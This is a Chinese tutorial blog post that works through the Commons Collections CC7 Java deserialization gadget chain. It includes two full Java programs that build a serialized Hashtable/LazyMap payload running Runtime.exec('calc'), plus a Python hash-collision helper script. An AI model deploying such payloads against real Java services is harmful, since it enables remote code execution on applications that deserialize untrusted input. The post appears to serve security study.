Java安全--CC7

在学CC7的时候我有这么几个疑问

1.为什么要两个LazyMap

2.hashCode那一步怎么计算的

3.为什么要remove yy

4.为什么put两个

我们可以先看一下CC7的链子是怎么走的:

其实分析链子还是从命令执行走到readObject比较好理解,虽然比较麻烦,比较繁琐,但还是这样子分析提升比较大,主要是知道自己在写啥,知道某个地方我们需要传入什么,不用抄一份payload去调试。

我们从LazyMap这个点开始,因为LazyMap前面我们都很熟悉了,现在我们的目的是找何处调用了get,右键get,查找方法,有一千多个,最后定位在了AbstractMap这里,AbstractMap.equals调用了get,所以只要何处调用了equals,就可以继续下一步

这里有个很关键的点,就是AbstractMap是被HashMap继承的

而且equals这个方法AbstractMap有并且调用了get,但是HashMap没有equals这个方法。即只要调用了HashMap.equals就会调用AbstractMap.equals,然后会调用LazyMap.get,一切就大功告成了

继续往上,在HashTable中的reconstitutionPut方法调用了key.equals,所以只要控制key的类型为HashMap就可以了

而reconstitutionPut也在HashTable的readObject中调用了

到此我们就可以开始编写EXP了,因为如果不从Hashtable这个类来写的话利用AbstractMap这个抽象类不put东西的时候是进不到LazyMap.get的,但是如果put东西了就会过不了LazyMap.get里面判断键存不存在。然后自相矛盾,所以只能从Hashtable开始编写了:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap1 = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        lazymap1.put("Aa", "value");

        HashMap<Object, Object> hashMap1 = new HashMap<>();
        Map lazymap2 = LazyMap.decorate(hashMap1, chainedTransformer);
        lazymap2.put("BB", "value");

        Hashtable<Object, Object> objectObjectHashtable = new Hashtable<>();
        objectObjectHashtable.put(lazymap1, 1);
        objectObjectHashtable.put(lazymap2, 2);

        serialize(objectObjectHashtable);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

解疑一:为什么remove(Aa)

我们用这个代码的时候发现序列化的时候可以弹计算器,但是反序列化却不行。其实还是老毛病,就是在执行objectObjectHashtable.put(lazymap2, 2);的时候会put进去一个元素:

(下图是序列化的时候put进去一个键)

所以反序列的时候进不了那个判断键是否存在的判断:

(下图是反序列化的时候过不了的那个判断)

因此要remove(Aa)这样子才能过那个判断。

解疑二:Hashtable为什么要put两个

我们需要执行Hashtable的e.key.equals,而要执行这个语句需要有两个Entry才能进行遍历,并且会执行第二个Entry的e.key.equals,所以我们需要在第二个Entry中传入恶意链(当然方便起见也可以两个都传)。因此需要两个LazyMap,从而put两个。

(下图是反序列化的时候需要进入并执行的for循环)

解疑三:对于LazyMap.put里面的字母有要求吗?

答案是有,还是上面那张图,就是进入了for循环,还得过前半个判断。因为 0&&xxx,xxx是不会被执行的,所以我们要确保e.hash==hash,即我们第一个传入的LazyMap的ke的.hash值和第二个传入LazyMapkey的的hash值要相等。

怎么确保他们相等呢?可以先调试进去看一下:

可以看到他的计算规律就是

第一次计算val[i]是A,A的ascii码值为65,h值就是65。

第二次计算var[i]是a, a的ascii码是97,所以第二次计算就是31*65 + 97 = 2112

从此我们可以写一个脚本:

import string

code = string.ascii_uppercase + string.ascii_lowercase


def hashCode(hashString):
    return 31 * ord(hashString[0]) + ord(hashString[1])


for i in code:
    for j in code:
        for m in code:
            for n in code:
                str1 = i + j
                str2 = m + n
                if str1 != str2 and hashCode(str1) == hashCode(str2):
                    print("值为:" + str(hashCode(str1)) + " " + "code1:" + str(str1) + " " + "code2:" + str(str2))

只要是跑出来的组合都可以使用。

由于上面那个代码序列化的时候也会弹计算器,这是我们不希望的,因此我们利用反射改进一下代码:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[0]);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map<Object, Object> lazymap1 = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        lazymap1.put("Aa", "value");

        HashMap<Object, Object> hashMap1 = new HashMap<>();
        Map lazymap2 = LazyMap.decorate(hashMap1, chainedTransformer);
        lazymap2.put("BB", "value");

        Hashtable<Object, Object> objectObjectHashtable = new Hashtable<>();
        objectObjectHashtable.put(lazymap1, 1);
        objectObjectHashtable.put(lazymap2, 2);

        lazymap2.remove("Aa");

        Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
        Field iTransformers = chainedTransformerClass.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);

//        serialize(objectObjectHashtable);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值